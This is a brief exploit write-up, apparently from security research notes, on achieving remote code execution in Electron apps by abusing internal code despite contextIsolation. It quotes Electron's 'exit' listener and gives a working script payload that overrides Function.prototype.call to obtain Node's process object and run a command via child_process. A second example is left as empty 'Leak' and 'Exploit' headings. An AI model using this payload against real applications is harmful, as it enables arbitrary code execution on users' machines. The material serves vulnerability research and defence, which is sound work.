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Electron contextIsolation RCE via Electron internal code

Example 1

"exit" event listener is always set by the internal code when de page loading is started. This event is emitted just before navigation:
process.on('exit', function (){
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})
https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- No longer exists
Then it goes here:
Where "self" is Node's process object:
The process object has a references to "require" function:
process.mainModule.require
As the handler.call is going to receive the process object we can overwrite it to execute arbitrary code:
<script>
Function.prototype.call = function(process){
process.mainModule.require('child_process').execSync('calc');
}
location.reload();//Trigger the "exit" event
</script>

Example 2

Leak:
Exploit: